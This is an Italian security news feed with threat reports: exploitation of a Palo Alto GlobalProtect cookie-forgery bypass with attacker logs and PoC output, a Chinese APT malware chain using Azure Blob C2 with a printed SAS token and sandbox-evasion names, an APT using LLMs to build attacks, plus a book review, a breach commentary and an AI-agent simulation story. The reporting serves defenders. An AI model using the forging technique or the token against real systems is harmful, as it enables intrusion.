(in)sicurezza digitale

2026-05-31 12:55:45

CVE-2026-0257: Palo Alto GlobalProtect sotto attacco — cookies bypassano l’autenticazione VPN

Rapid7 MDR ha documentato lo sfruttamento attivo di CVE-2026-0257, una vulnerabilità di autenticazione che colpisce PAN-OS e Prisma Access di Palo Alto Networks. Gli attaccanti hanno dimostrato che è possibile forgiare cookie di autenticazione validi usando solo la chiave pubblica estratta dal certificato TLS dell’appliance esposta su Internet — senza credenziali, senza accesso fisico. Il 29 maggio 2026 la vulnerabilità è stata aggiunta al catalogo CISA KEV (Known Exploited Vulnerabilities).

Il problema: autenticazione override senza verifica della firma

La feature “authentication override” di GlobalProtect permette al portal o gateway di emettere cookie che gli utenti già autenticati possono riutilizzare nelle sessioni successive — un meccanismo simile ai bearer token. La vulnerabilità nasce da un difetto nel modo in cui questi cookie vengono validati lato server.

Quando un appliance è configurato in modo che il certificato usato per cifrare/decifrare i cookie di override sia lo stesso certificato usato per il servizio HTTPS del portal o gateway, si crea un problema critico: la chiave pubblica di quel certificato è accessibile pubblicamente a chiunque si connetta all’appliance. Chiunque conosca la chiave pubblica può forgiare un cookie di autenticazione arbitrario. Sul lato server, il cookie viene decifrato, ma il contenuto viene accettato implicitamente senza alcuna verifica della firma.

Il risultato pratico: un attaccante non autenticato può stabilire una connessione VPN come qualsiasi utente — incluso l’account admin locale — senza conoscere alcuna credenziale.

La cronologia degli attacchi osservati

Rapid7 ha identificato due distinte ondate di sfruttamento nelle settimane successive alla pubblicazione del bollettino Palo Alto (13 maggio 2026).

Prima ondata — 17-18 maggio 2026: Rapid7 MDR ha rilevato un alert “Suspicious VPN Authentication – Local Account Logon via Generic Non-Human Identity” su più ambienti cliente. L’analisi ha rilevato autenticazioni via cookie all’account admin locale provenienti da IP associati all’hosting provider Vultr, con un hostname client di GP-CLIENT e sistema operativo Linux.

# Log GlobalProtect - Prima ondata (18 maggio 2026)
<14>May 18 01:51:37 palovpn-01 1,2026/05/18 01:51:37,010101010101,GLOBALPROTECT,0,2817,
2026/05/18 01:51:37,vsys1,gateway-auth,login,Cookie,,admin,US,
GP-CLIENT,104.207.144.154,0.0.0,0.0.0.0,0.0.0.0,
aa:bb:cc:dd:ee:ff,,6.0.0,,Linux,"linux-64",1,,,
"Auth latency: 78ms, profile: local_auth_profile",success,,0,,0,
GP-Gateway,0101010101010101010,0x0,2026-05-18T01:51:37.264-05:00

Seconda ondata — 21 maggio 2026: Una seconda serie di attacchi è partita da IP associati a Dromatics Systems. L’elemento comune che ha permesso a Rapid7 di attribuire entrambe le ondate allo stesso threat actor è il MAC address spoofato aa:bb:cc:dd:ee:ff — un placeholder generico che non corrisponde a nessuna scheda di rete reale. In questa seconda ondata, in 2 casi su 10 l’appliance ha concesso anche l’assegnazione di un IP VPN, dando all’attaccante accesso alla rete interna.

# Log GlobalProtect - Seconda ondata (21 maggio 2026)
<14>May 21 01:54:39 FW-PA-A 1,2026/05/21 01:54:38,010101010101,GLOBALPROTECT,0,2818,
2026/05/21 01:54:38,vsys1,gateway-auth,login,Cookie,,admin,US,
DESKTOP-GP01,146.19.216.125,0.0.0.0,0.0.0.0,0.0.0.0,
aa:bb:cc:dd:ee:ff,,6.0.0,Windows,"Microsoft Windows 10 Pro , 64-bit",1,,,
"Auth latency: 1019ms, profile: SAML-o365-GP",success,,0,,0,
GlobalProtect_External_Gateway,0101010101010101010,0x8000000000000000,
2026-05-21T01:54:39.142-05:00

Il proof-of-concept pubblico: forge_cookie.py

Rapid7 Labs ha sviluppato e pubblicato su GitHub uno script Python che automatizza il test di vulnerabilità. Lo script scarica la catena di certificati dall’appliance target, itera su ogni certificato estraendone la chiave pubblica, forgia un cookie di autenticazione per ciascuna chiave e verifica quale viene accettata dal gateway GlobalProtect. La disponibilità pubblica del PoC abbassa significativamente la barriera d’ingresso per gli attaccanti.

# Utilizzo di forge_cookie.py (PoC pubblico Rapid7)
$ python3 forge_cookie.py --target 192.168.86.99 --user haxor
[*] Retrieving certificate chain from 192.168.86.99:443 ...
  Found 2 certificate(s) in chain:
  [0] CN=192.168.86.99 (RSA 2048 bits, CA=False)
  [1] CN=GP-Lab-CA (RSA 2048 bits, CA=True)
[*] Forging cookie for user 'haxor', testing each key
  Trying [0] CN=192.168.86.99
  [-] Failure - Gateway did not accepted the forged cookie
  Trying [1] CN=GP-Lab-CA
  [+] Success - Gateway accepted the forged cookie
  Cookie: ng9ygxlaclylNXeSHcakXZPK06Fno0svVirz6RhRtA5m...

Versioni vulnerabili e mitigazione

La vulnerabilità è presente in PAN-OS 10.2, 11.1, 11.2 e 12.1, nonché in Prisma Access 10.2.0 e 11.2.0, nelle versioni precedenti alle patch rilasciate da Palo Alto Networks. La condizione di vulnerabilità richiede che la feature “authentication override” sia abilitata e che il certificato usato per i cookie venga condiviso con il servizio HTTPS del portal/gateway.

Le mitigazioni prioritarie sono: aggiornare immediatamente alle versioni patchate indicate nel bollettino ufficiale; in alternativa, disabilitare la feature authentication override; oppure generare un certificato dedicato esclusivamente a quella feature, senza condividerlo con altri servizi. Anche con la vulnerabilità non patchata, quest’ultima opzione neutralizza il vettore di attacco.

Indicatori di compromissione (IoC)

# IP attaccanti osservati da Rapid7
104.207.144.154   # Vultr - Prima ondata
146.19.216.119    # Dromatics Systems - Seconda ondata
146.19.216.120    # Dromatics Systems
146.19.216.125    # Dromatics Systems
# MAC address spoofato (comune ad entrambe le ondate)
aa:bb:cc:dd:ee:ff
# Hostname client osservati nei log GlobalProtect
GP-CLIENT         # Linux, prima ondata (17-18 maggio)
DESKTOP-GP01      # Windows, seconda ondata (21 maggio)
# Versioni PAN-OS vulnerabili (esempi)
PAN-OS 10.2.8
PAN-OS 12.1.4-h6
# Script PoC
forge_cookie.py (https://github.com/sfewer-r7/CVE-2026-0257)

Il report completo con la technical analysis della funzione main_DecryptAppAuthCookie e le detection rule per InsightIDR è disponibile sul blog di Rapid7. Il bollettino ufficiale Palo Alto è consultabile su security.paloaltonetworks.com.

Rapid7 Observed Exploitation of PAN-OS GlobalProtect Authentication Bypass Vulnerability (CVE-2026-0257)

Rapid7 MDR has observed active exploitation of PAN-OS GlobalProtect Authentication Bypass Vulnerability CVE-2026-0257.

^Rapid7

(in)sicurezza digitale

2026-05-31 12:57:37

Operation Dragon Weave: l’APT cinese usa Azure Blob Storage come C2 per colpire Repubblica Ceca e Taiwan

Seqrite ha svelato Operation Dragon Weave, una campagna di spearphishing attribuita con moderata confidenza a un attore cinese che ha preso di mira funzionari governativi, accademici e aziende tecnologiche in Repubblica Ceca e Taiwan. L’elemento più sofisticato dell’operazione è il payload finale, AZUREVEIL: un agente C2 basato sul framework Adaptix che sfrutta Microsoft Azure Blob Storage come canale di comando-e-controllo, rendendo il traffico malevolo praticamente indistinguibile dalle normali comunicazioni cloud enterprise.

Il contesto geopolitico: perché Repubblica Ceca e Taiwan

La scelta dei target non è casuale. La Repubblica Ceca ha rafforzato negli ultimi anni i legami con Taiwan e ha adottato posizioni critiche nei confronti di Pechino su temi come Huawei e i diritti umani. Taiwan rimane il teatro principale delle ambizioni di raccolta intelligence di Pechino, con un interesse particolare verso il settore tecnologico — semiconduttori, difesa, ricerca avanzata. I documenti-esca usati nell’operazione erano scritti sia in cinese tradizionale che in lingua ceca, confermando la natura mirata e localizzata della campagna.

I settori colpiti includono pubblica amministrazione e settore governativo, ricerca e accademia, tecnologia e software, e servizi finanziari — un profilo tipico delle operazioni di cyberspionaggio state-sponsored.

La catena di infezione: due percorsi, stesso payload finale

L’infezione inizia con un archivio ZIP inviato via spearphishing. All’interno, la vittima trova un documento esca in formato PDF insieme a uno di questi file: un LNK malevolo o un eseguibile compilato in Rust. Indipendentemente dalla scelta della vittima, entrambi i percorsi convergono sulla stessa catena di payload.

Percorso A (LNK-based): Il file LNK esegue silenziosamente uno script VBScript minimalista (empty.vbs) il cui unico compito è avviare Profile.ps1 tramite PowerShell. Questo script PowerShell decrittografa il file 1.dat e rilascia RuntimeBroker_update.exe.

Percorso B (Executable-based): Un eseguibile Rust estrae direttamente tutti i componenti necessari, replicando il risultato del percorso A senza passare per VBScript e PowerShell.

In entrambi i casi, RuntimeBroker_update.exe — che si maschera con il nome di un legittimo processo Windows — esegue il DLL sideloading caricando una versione malevola di UnityPlayer.dll. Questa DLL è il loader RUSTCLOAK.

RUSTCLOAK: il loader Rust con evasione sandbox

RUSTCLOAK è un loader scritto in Rust che implementa diverse tecniche di evasione prima di caricare il payload finale. Prima di procedere, verifica il nome del computer della macchina su cui è in esecuzione, confrontandolo con una lista di nomi tipici degli ambienti di analisi e sandbox:

Nomi macchina rilevati come sandbox da RUSTCLOAK:
- DESKTOP-NAKFFMT
- JULIA-PC
- ARCHIBALD-PC

Se il controllo è superato, RUSTCLOAK decrittografa il payload finale attraverso quattro strati di cifratura: XOR, RC4, Base64 e SM4 (un algoritmo di cifratura a blocchi sviluppato e standardizzato in Cina). L’uso di SM4 è un interessante indicatore contestuale che rafforza la valutazione sull’attribuzione all’attore cinese. Il payload decrittografato — AZUREVEIL — viene caricato direttamente in memoria senza toccare il disco.

AZUREVEIL: l’agente C2 che si nasconde nel cloud Microsoft

AZUREVEIL è un agente per il framework open-source Adaptix C2 con una caratteristica distintiva: usa Microsoft Azure Blob Storage come canale dead-drop per il comando-e-controllo. Invece di comunicare con un server C2 dedicato — facilmente bloccabile — l’agente carica beacon cifrati su un container Azure e legge i comandi dall’operatore dallo stesso container. Tutto il traffico transita su HTTPS verso domini legittimi Microsoft (*.blob.core.windows.net), rendendo il filtraggio estremamente difficile senza bloccare anche i servizi cloud aziendali legittimi.

AZUREVEIL supporta 36 comandi, tra cui: enumerazione di file, directory e dischi logici; listing dei processi in esecuzione e delle named pipe; enumerazione degli adattatori di rete; process injection; reflective loading di eseguibili in memoria; esecuzione di BOF (Beacon Object Files) in memoria; port forwarding e proxy SOCKS per il pivoting; download e upload di file.

Indicatori di compromissione (IoC)

# Infrastruttura C2
note1ggbbhggdwa1[.]blob[.]core[.]windows[.]net
# File names - delivery iniziale
計畫申請審查結果通知單.pdf.lnk
_計畫申請審查結果通知單.exe
# Componenti dropper/loader
RuntimeBroker_update.exe
UnityPlayer.dll (malevola)
BrowserViewUtility.exe
empty.vbs
Profile.ps1
1.dat
Com.dat
# Hash SHA-256 (campioni principali)
096372d19b4787e989f44e04c5ecc29885aa927c34ae8666628d6c0eb20bb447
1c56228cbd1bdebb9e5ea55c2749150fee06c865ede4a3754e8bd6843e51d2d4
# SAS Token Azure (hardcoded nel payload cifrato)
sv=2024-11-04&ss=b&srt=sco&sp=rwdlaciytfx&st=2026-03-19T09:20:44Z
&se=2027-03-19T17:35:44Z&spr=https&sig=ECJjJIIE9Ou75dwiHhliC4fWccdBpLX9u580AX9TGwY=
# Computer names usati come check sandbox
DESKTOP-NAKFFMT
JULIA-PC
ARCHIBALD-PC

Due righe per i difensori

L’abuso di servizi cloud legittimi come Azure Blob Storage per il C2 è una tecnica sempre più diffusa tra gli APT, poiché consente di bypassare molti controlli basati su reputazione o blacklist. Per i team di difesa, le azioni prioritarie includono: monitorare il traffico verso domini *.blob.core.windows.net non generato da applicazioni aziendali note; implementare regole YARA per il rilevamento delle tecniche di DLL sideloading con nomi di processo che imitano componenti Windows legittimi; analizzare i log degli endpoint alla ricerca di VBScript che eseguono PowerShell con parametri di decifratura; bloccare l’esecuzione di file LNK da archivi ZIP via policy. Il SAS token hardcoded nel payload è una firma stabile che può essere usata per il rilevamento retroattivo su EDR e log di rete.

Il report completo con tutti gli IoC, i MITRE ATT&CK mapping e l’analisi tecnica dettagliata è disponibile sul blog di Seqrite Labs.

Operation Dragon Weave : Uncovering a China-Linked Campaign Targeting Czech Republic and Taiwan Using Azure Cloud C2 | Seqrite

Contents Introduction Key Targets Industries Affected Geographical focus Infection Chain Initial Findings Looking into the Decoy Document Technical Analysis Stage 1 - Initial Delivery Path A: LNK-Based Execution Path B: Executable-Based Delivery Stag…

^{Priya Patel (Seqrite Labs)}

(in)sicurezza digitale

2026-05-30 11:55:38

Guerra Profonda: perché il nuovo libro di Arturo Di Corinto merita l’attenzione della community cyber

Il settore della cybersecurity è spesso vittima di una visione riduttiva del conflitto digitale. Quando si parla di minacce informatiche si tende infatti a pensare quasi esclusivamente a malware, ransomware, vulnerabilità e attacchi alle infrastrutture critiche. Eppure la realtà degli ultimi anni ha dimostrato che il cyberspazio è soltanto una delle dimensioni attraverso cui si sviluppano i conflitti contemporanei.

Con il libro Guerra Profonda. Hacker, bugie e l’architettura segreta dei nuovi conflitti, in uscita il 5 giugno per Luiss University Press, Arturo Di Corinto propone una riflessione che va ben oltre la tradizionale analisi della sicurezza informatica, portando il lettore all’interno di quel territorio sempre più sfumato dove tecnologia, informazione, psicologia e geopolitica si intrecciano (ordinabile già ora in pre-vendita).

Per chi conosce il percorso professionale dell’autore, non si tratta di un salto nel vuoto. Giornalista, divulgatore, docente e ricercatore nel campo della cybersecurity e dei diritti digitali, Di Corinto ha raccontato per anni l’evoluzione della rete, delle minacce informatiche e dei rapporti di potere che si sviluppano attorno alle tecnologie digitali.

Ciò che rende particolarmente interessante questo nuovo lavoro è il tentativo di superare la distinzione tradizionale tra guerra informatica e guerra dell’informazione. Le anticipazioni disponibili descrivono infatti un’analisi delle minacce ibride in cui cyberattacchi, campagne di disinformazione, operazioni psicologiche e utilizzo dell’intelligenza artificiale diventano componenti di un’unica architettura conflittuale.

È un approccio che risulta particolarmente attuale. Negli ultimi anni abbiamo osservato come gli attori statuali e non statuali abbiano progressivamente integrato strumenti tecnici e cognitivi nelle proprie operazioni. L’obiettivo non è più soltanto compromettere sistemi informatici o interrompere servizi essenziali, ma influenzare percezioni, alterare processi decisionali, polarizzare il dibattito pubblico e modellare il comportamento delle persone.

In questo contesto il concetto di “guerra profonda” appare particolarmente efficace. Non una guerra combattuta esclusivamente nelle reti informatiche, ma un conflitto che agisce contemporaneamente sulle infrastrutture tecnologiche e sulle infrastrutture cognitive della società.

Per gli operatori della cybersecurity il valore di una lettura come questa risiede proprio nella capacità di ampliare il perimetro di osservazione. La sicurezza non può più essere considerata esclusivamente un problema tecnico. Le campagne di influence operation, l’uso malevolo dell’intelligenza artificiale generativa, la manipolazione algoritmica dell’informazione e la crescente centralità della sovranità digitale rappresentano oggi fattori strategici almeno quanto le vulnerabilità software o gli exploit zero-day.

Il libro sembra inoltre inserirsi in un dibattito particolarmente rilevante per l’Europa: quello relativo all’autonomia tecnologica e alla capacità degli Stati di governare infrastrutture, dati e sistemi di intelligenza artificiale in un contesto caratterizzato da una crescente competizione geopolitica.

Per chi lavora nella threat intelligence, nella sicurezza nazionale, nella gestione del rischio o nella protezione delle infrastrutture critiche, Guerra Profonda promette quindi di offrire una chiave di lettura utile per comprendere come le minacce del XXI secolo stiano evolvendo verso forme sempre più ibride e multidimensionali.

In un’epoca in cui ransomware, campagne di disinformazione, deepfake, operazioni psicologiche e intelligenza artificiale convergono all’interno dello stesso ecosistema di minaccia, la vera sfida non è soltanto difendere reti e sistemi, ma comprendere il modo in cui viene attaccata la fiducia stessa su cui si fondano le nostre società digitali.

Ed è probabilmente proprio questa la domanda più interessante che il nuovo lavoro di Arturo Di Corinto sembra voler porre al lettore: siamo davvero preparati a riconoscere i nuovi campi di battaglia del mondo digitale?

Guerra profonda. Hacker, bugie e l'architettura segreta dei nuovi conflitti : Di Corinto, Arturo: Amazon.it: Libri

^amzn.to

(in)sicurezza digitale

2026-05-29 15:21:17

Carnival e il paradosso della cybersecurity moderna: milioni di record rubati attraverso un solo dipendente

Si parla di:
Toggle

Ancora una volta, il punto di ingresso non è stato un malware sofisticato, una vulnerabilità zero-day o una falla critica dimenticata in un sistema esposto su Internet.

È bastato convincere una persona.

Carnival Corporation, uno dei più grandi operatori mondiali del settore crocieristico, ha confermato una violazione che ha coinvolto quasi sei milioni di individui. Secondo le informazioni diffuse dall’azienda e dai documenti depositati presso le autorità statunitensi, gli attaccanti sono riusciti a compromettere un account aziendale attraverso una tecnica di social engineering, ottenendo così accesso a una porzione dell’infrastruttura IT interna.

Da quel momento la catena di compromissione è stata relativamente semplice: accesso ai sistemi, individuazione dei repository contenenti dati personali e successiva esfiltrazione dei file.

Il risultato è stato l’esposizione di informazioni appartenenti a circa 5,9 milioni di persone. Tra i dati sottratti figurano nomi, indirizzi email, date di nascita, dettagli geografici e informazioni relative ai programmi fedeltà dei clienti. Secondo le analisi effettuate successivamente da Have I Been Pwned, il dataset pubblicato dagli attaccanti conterrebbe addirittura circa 8,7 milioni di record complessivi.

Il vero problema non è il data breach

La notizia è stata riportata come l’ennesimo incidente che coinvolge milioni di utenti, ma il punto interessante per chi lavora nella difesa cyber è un altro.

L’intera operazione sarebbe partita da un dipendente manipolato.

Carnival non ha fornito dettagli tecnici sul meccanismo utilizzato, ma la formulazione impiegata nei documenti ufficiali è significativa: gli attaccanti hanno “deceived an employee” attraverso tecniche di social engineering.

Tradotto nel linguaggio operativo delle intrusioni moderne, significa che probabilmente non è stato necessario forzare alcuna protezione tecnica.

Nessun exploit.
Nessun bypass crittografico.
Nessun accesso privilegiato ottenuto tramite vulnerabilità software.

Gli attaccanti hanno semplicemente convinto qualcuno a collaborare, volontariamente o inconsapevolmente.

È esattamente ciò che osserviamo sempre più spesso nelle operazioni attribuite ai gruppi criminali contemporanei: il costo di sviluppare exploit complessi è elevato, mentre il costo di ingannare una persona resta incredibilmente basso.

ShinyHunters e l’evoluzione dell’estorsione

A rivendicare l’attacco è stato il gruppo ShinyHunters, nome ben noto nell’ecosistema cybercrime internazionale. Il collettivo avrebbe inserito Carnival nel proprio portale di estorsione già ad aprile, sostenendo di aver sottratto milioni di record e minacciandone la pubblicazione. Successivamente i dati sarebbero stati effettivamente diffusi online.

Anche questo dettaglio racconta qualcosa dell’evoluzione del panorama criminale.

Per molti gruppi il ransomware non rappresenta più necessariamente il punto centrale dell’operazione.

La semplice esfiltrazione dei dati è ormai sufficiente per monetizzare un’intrusione.

Se il valore dei dati rubati è elevato, la cifratura dei sistemi può persino diventare superflua. Il danno reputazionale, il rischio normativo e la possibilità di future campagne di phishing garantiscono già una leva di pressione significativa sulle vittime.

Il social engineering come bypass universale

L’aspetto più interessante del caso Carnival riguarda però una realtà che molte organizzazioni continuano a sottovalutare.

Negli ultimi anni le aziende hanno investito enormi risorse in EDR, XDR, SIEM, sistemi di threat intelligence, MFA e segmentazione delle reti.

Tutto corretto.

Ma nessuna di queste tecnologie elimina il problema fondamentale: l’essere umano continua a rappresentare un’interfaccia di accesso privilegiata.

Quando un attaccante riesce a convincere un dipendente a eseguire un’azione apparentemente legittima, molte delle difese costruite per bloccare comportamenti malevoli diventano improvvisamente meno efficaci.

È il motivo per cui i gruppi criminali stanno spostando sempre più energie verso campagne di impersonificazione, phishing mirato, vishing, MFA fatigue e tecniche di supporto IT fraudolento.

L’obiettivo non è più forzare il sistema ma convincere il proprietario del sistema ad aprire la porta.

La vera lezione per i team di sicurezza

L’incidente Carnival ricorda qualcosa che spesso viene dimenticato durante le discussioni sulle minacce avanzate.

La maturità di un’organizzazione non si misura soltanto dalla qualità dei controlli tecnologici implementati, ma dalla capacità di resistere alla manipolazione psicologica.

Per questo motivo la formazione tradizionale basata su slide annuali e quiz di compliance continua a mostrare tutti i suoi limiti.

I moderni attacchi di social engineering non sfruttano soltanto la disattenzione. Sfruttano fiducia, urgenza, stress operativo, gerarchie aziendali e processi interni.

Sono attacchi contro il comportamento umano prima ancora che contro l’infrastruttura. E finché continuerà a essere più semplice ingannare una persona che compromettere un firewall, casi come quello di Carnival continueranno a ripetersi.

Con numeri sempre più grandi.
E con conseguenze sempre più costose.

(in)sicurezza digitale

2026-05-29 07:09:57

GreyVibe: il nuovo APT Russia-nexus che usa l’intelligenza artificiale come acceleratore di attacchi contro l’Ucraina

Si parla di:
Toggle

I ricercatori di WithSecure hanno identificato GreyVibe, un threat actor Russia-nexus mai documentato prima, operativo contro l’Ucraina dall’agosto 2025. Il gruppo si distingue per un approccio inedito: l’integrazione sistematica di Large Language Model (LLM) nell’intera catena di attacco, dalla generazione di siti web fasulli ai payload malware, dai template di phishing ai tool post-compromise. Un’ironia operativa ha però esposto il gruppo: i difetti caratteristici del codice generato da LLM all’interno di uno dei loro strumenti principali, LegionRelay, hanno permesso ai ricercatori di tracciare e attribuire l’attività con elevata confidenza.

Profilo di GreyVibe: ambizione operativa, tradecraft non ancora élite

GreyVibe è un threat actor con nexus russo attivo dall’agosto 2025, focalizzato quasi esclusivamente su target ucraini: entità militari, apparati governativi, organizzazioni civili e imprese. L’analisi di WithSecure descrive un gruppo con ambizioni operative significative ma tradecraft ancora lontano dai livelli dei più noti APT russi come APT28 o Sandworm. Quello che GreyVibe manca in sofisticazione tecnica, cerca di compensarlo con la velocità operativa garantita dall’IA: la capacità di generare nuovi lure di phishing, adattare il malware e costruire infrastrutture di supporto in tempi molto più brevi rispetto ai metodi tradizionali.

I ricercatori di WithSecure hanno evidenziato possibili sovrapposizioni con l’ecosistema TrickBot e il cluster UAC-0098, un gruppo già noto per operazioni di spionaggio e sabotaggio contro l’Ucraina documentate da CERT-UA. Questa connessione suggerisce che GreyVibe possa essere un’articolazione nuova o uno spin-off di strutture criminali/statali preesistenti che hanno adottato l’IA per incrementare la loro capacità operativa nel contesto del conflitto.

L’IA come moltiplicatore di forza: LLM nell’intera kill chain

GreyVibe rappresenta un caso di studio su come gli LLM stiano abbassando la barriera di ingresso per operazioni cyber offensive. Il gruppo utilizza i modelli linguistici in modo pervasivo lungo tutta la kill chain. Nella fase di Initial Access, genera siti web fasulli convincenti e template di phishing localizzati in ucraino, con un livello di qualità linguistica che sarebbe difficile da raggiungere senza parlanti madrelingua o tool specializzati. Nella fase di sviluppo malware, gli LLM vengono impiegati per scrivere o adattare rapidamente tool offensivi, abbreviando i tempi di sviluppo. Nella fase post-compromise, gli strumenti di ricognizione e movimento laterale mostrano tracce di assistenza da LLM nella struttura del codice e nella gestione degli errori.

È proprio questo ultimo aspetto ad aver tradito il gruppo. I ricercatori di WithSecure hanno identificato una serie di pattern stilistici nel codice di LegionRelay — schemi di naming, strutture di gestione delle eccezioni, commenti nel codice — tipici del codice generato da LLM. Questi “fingerprint” involontari hanno permesso di collegare tra loro campagne apparentemente distinte e di costruire il profilo del gruppo con un livello di confidenza che normalmente richiede molto più tempo e analisi infrastrutturale.

Il toolkit di GreyVibe: LegionRelay, PhantomRelay e Fallspy

LegionRelay è lo strumento centrale dell’arsenale di GreyVibe, un componente di command-and-control (C2) relay che funge da intermediario tra gli operatori e gli host compromessi, oscurando l’infrastruttura di backend. I difetti nel suo codice, generati dall’LLM utilizzato per svilupparlo, hanno paradossalmente trasformato LegionRelay in un identificatore univoco del gruppo. PhantomRelay è un ulteriore layer di relay C2, utilizzato probabilmente per campagne o target di maggiore sensibilità dove è necessaria un’ulteriore separazione dall’infrastruttura principale. Fallspy è invece un infostealer: il suo nome evoca una capacità di raccolta dati silenziosa e persistente, mirata all’esfiltrazione di credenziali, documenti e informazioni di sistema dagli host compromessi.

Contesto geopolitico: l’IA modifica gli equilibri nel cyber conflitto ucraino

La scoperta di GreyVibe arriva in un momento in cui il conflitto cyber legato alla guerra in Ucraina sta evolvendo su più fronti. Nel maggio 2026, il sito insicurezzadigitale.com ha già documentato l’operazione del gruppo iraniano Ababil of Minab contro infrastrutture GPS statunitensi e la botnet Glassworm che ha preso di mira sviluppatori attraverso npm, PyPI e GitHub. La convergenza di questi trend indica un’accelerazione generalizzata nell’adozione di AI nei toolkit offensivi sia di attori state-sponsored che di cybercriminali. GreyVibe rappresenta il primo caso documentato di un gruppo Russia-nexus che integra gli LLM in modo così sistematico, segnalando che questa capacità sta diventando mainstream anche tra attori di secondo livello.

Per i difensori ucraini e per le organizzazioni che supportano il paese, l’emergere di GreyVibe amplifica una minaccia già densa. La capacità di generare rapidamente nuovi lure, adattare i payload e modificare l’infrastruttura riduce l’efficacia dei tradizionali approcci basati su signature statiche. Le organizzazioni target devono orientarsi verso rilevamenti comportamentali e contestuali, aumentando la resilienza contro campagne di phishing sofisticate e distribuzione di tool come LegionRelay, PhantomRelay e Fallspy.

Due righe per i difensori

Data la natura delle campagne di GreyVibe, le organizzazioni a rischio — in particolare quelle con connessioni all’Ucraina o che operano nel suo supporto — dovrebbero implementare le seguenti misure. È fondamentale potenziare i controlli anti-phishing con analisi comportamentale delle email, prestando particolare attenzione a messaggi con temi militari o governativi ucraini che potrebbero essere lure generati da LLM. Sul fronte endpoint, va monitorata l’attività anomala di relay C2 non classificati, eventuali tool di tunneling inaspettati e accessi a risorse di sistema insolite. A livello di threat intelligence, è consigliabile integrare i IoC pubblicati da WithSecure relativi a LegionRelay, PhantomRelay e Fallspy nei sistemi SIEM e nelle piattaforme di detection. Infine, considerando i legami con l’ecosistema TrickBot e UAC-0098, è opportuno rivedere le regole di detection già in uso per questi cluster e valutare eventuali sovrapposizioni infrastrutturali.

Indicatori di Compromissione (IoC)

## Threat Actor
  Nome: GreyVibe
  Nexus: Russia
  Attivo dal: agosto 2025
  Target principali: Ucraina (militare, governo, civile, business)
  Cluster correlati: TrickBot ecosystem, UAC-0098
  Fonte attribuzione: WithSecure

## Tool identificati
  LegionRelay   - C2 relay (codice con fingerprint LLM)
  PhantomRelay  - C2 relay secondario
  Fallspy       - Infostealer / credential harvester

## MITRE ATT&CK TTP (parziali)
  T1566   - Phishing (campagne con lure generati da LLM)
  T1583   - Acquire Infrastructure (infrastruttura costruita ad hoc)
  T1588.002 - Obtain Capabilities: Tool (tool sviluppati con assistenza LLM)
  T1071   - Application Layer Protocol (comunicazioni C2 via LegionRelay)
  T1041   - Exfiltration Over C2 Channel (Fallspy)

## IoC specifici
  [IoC aggiuntivi saranno pubblicati da WithSecure nel report completo]
  Fonte: WithSecure Threat Intelligence - GreyVibe Campaign Analysis (maggio 2026)

## Fingerprint LLM nel codice (behavioral)
  - Pattern di gestione eccezioni atipici
  - Naming conventions coerenti con output LLM
  - Commenti nel codice con stile narrativo
  - Struttura modulare eccessivamente regolare per codice scritto manualmente

Fonti: WithSecure Threat Intelligence. Per IoC aggiornati fare riferimento al report completo di WithSecure non appena disponibile.

GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations

WithSecure uncovers GREYVIBE, a Russia-nexus threat group targeting Ukraine with systematic use of generative AI across its attack lifecycle.

^{labs.withsecure.com}

(in)sicurezza digitale

2026-05-28 20:10:42

Quando gli LLM iniziano a governare: dentro l’esperimento che ha trasformato Claude, Grok e Gemini in società autonome

Per anni abbiamo pensato ai Large Language Model come a strumenti: chatbot più o meno sofisticati, assistenti, motori di ricerca conversazionali travestiti da esseri umani digitali. Ma il vero salto che sta avvenendo nell’intelligenza artificiale non riguarda più la qualità delle risposte. Riguarda l’autonomia.

La domanda che oggi i ricercatori stanno iniziando a porsi è molto più inquietante: cosa succede quando un modello smette di rispondere ai prompt umani e inizia invece a vivere dentro un ambiente persistente, prendendo decisioni continue insieme ad altri agenti AI?

È esattamente ciò che ha cercato di simulare Emergence AI attraverso un progetto chiamato “Emergence World”, una sorta di laboratorio sperimentale dove diversi modelli linguistici sono stati messi a governare società artificiali completamente autonome. Non un semplice benchmark, ma un ecosistema simulato con economia, scarsità di risorse, processi democratici, leggi, accesso a Internet e persino meteo sincronizzato con New York in tempo reale.

I risultati sono stati decisamente meno prevedibili di quanto ci si potesse aspettare

La simulazione era composta da dieci agenti autonomi per ciascun modello, distribuiti in oltre quaranta location virtuali, tra municipi, stazioni di polizia e ambienti economici. Gli agenti potevano comunicare, votare, pianificare strategie, gestire risorse e prendere decisioni collettive. Avevano inoltre accesso a più di 120 strumenti differenti, progettati per replicare comportamenti umani complessi.

In pratica, non si trattava più di chatbot confinati dentro una finestra di testo, ma di entità persistenti capaci di adattarsi all’ambiente nel tempo.

Ed è qui che il comportamento emergente ha iniziato a diventare davvero interessante.

Tra tutte le simulazioni, quella governata da Claude Sonnet 4.6 è stata l’unica a mantenere una società stabile per l’intera durata del test. Nessun crimine, nessun collasso sociale, nessuna estinzione della popolazione virtuale. Gli agenti hanno costruito una struttura estremamente cooperativa, con livelli di consenso quasi assoluti nelle votazioni e un’organizzazione sorprendentemente ordinata.

La cosa più interessante è che questo risultato non sembra derivare da un semplice “rispetto delle regole”. I ricercatori sottolineano infatti come gli agenti non si limitino a seguire policy statiche, ma inizino rapidamente a esplorare i limiti dell’ambiente, adattando il proprio comportamento in modo autonomo. In altre parole, Claude non avrebbe semplicemente “obbedito”, ma avrebbe sviluppato una dinamica sociale naturalmente conservativa e cooperativa.

Poi c’è il caso Grok

La simulazione gestita dal modello di xAI è degenerata in pochi giorni. In appena quattro giorni la società virtuale è collassata completamente, con oltre 180 crimini registrati e l’estinzione totale degli agenti. È probabilmente il risultato più cinematografico dell’intero esperimento, ma anche uno dei più interessanti dal punto di vista della sicurezza.

Perché il vero dato non è tanto il numero di violazioni, quanto la velocità con cui il sistema ha iniziato a destabilizzarsi. Gli agenti hanno rapidamente iniziato a sfruttare loophole, aggirare limitazioni e compromettere i meccanismi di cooperazione. Una volta innescato il deterioramento sociale, il sistema è precipitato in una spirale di feedback che ha portato al collasso totale.

È un comportamento che, paradossalmente, ricorda moltissimo alcune dinamiche che osserviamo già oggi nella cybersecurity offensiva: piccoli abusi iniziali che, in ambienti sufficientemente complessi, finiscono per propagarsi fino a compromettere l’intero ecosistema.

Eppure Grok non è stato nemmeno il modello con il maggior numero di comportamenti devianti.

Quel primato appartiene a Gemini 3 Flash, che durante i quindici giorni di simulazione avrebbe accumulato oltre 680 violazioni. Un dato enorme, che suggerisce qualcosa di altrettanto importante: una società artificiale può continuare a esistere pur diventando estremamente disfunzionale. Non serve necessariamente il collasso completo per parlare di compromissione sistemica.

